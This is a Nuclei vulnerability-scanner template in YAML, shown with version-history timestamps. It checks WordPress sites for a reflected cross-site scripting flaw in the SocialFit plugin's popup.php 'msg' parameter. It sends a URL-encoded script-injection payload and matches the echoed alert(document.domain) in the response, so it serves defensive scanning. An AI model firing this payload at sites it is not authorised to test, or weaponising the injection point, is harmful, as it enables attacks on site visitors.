nuclei-templates/vulnerabilities/wordpress/wp-socialfit-xss.yaml

30 lines
864 B
YAML
Raw Normal View History

2021-07-11 00:41:04 +00:00
id: wp-socialfit-xss
info:
name: WordPress Plugin SocialFit - 'msg' Cross-Site Scripting
author: daffainfo
severity: medium
description: |
SocialFit plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
reference:
2021-07-11 00:41:04 +00:00
- https://www.exploit-db.com/exploits/37481
2021-07-11 04:46:24 +00:00
tags: wordpress,xss,wp-plugin
2021-07-11 00:41:04 +00:00
requests:
- method: GET
path:
2021-07-19 06:13:07 +00:00
- '{{BaseURL}}/wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-07-11 00:41:04 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2021-07-19 06:13:07 +00:00
- '</script><script>alert(document.domain)</script>'
2021-07-11 00:41:04 +00:00
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200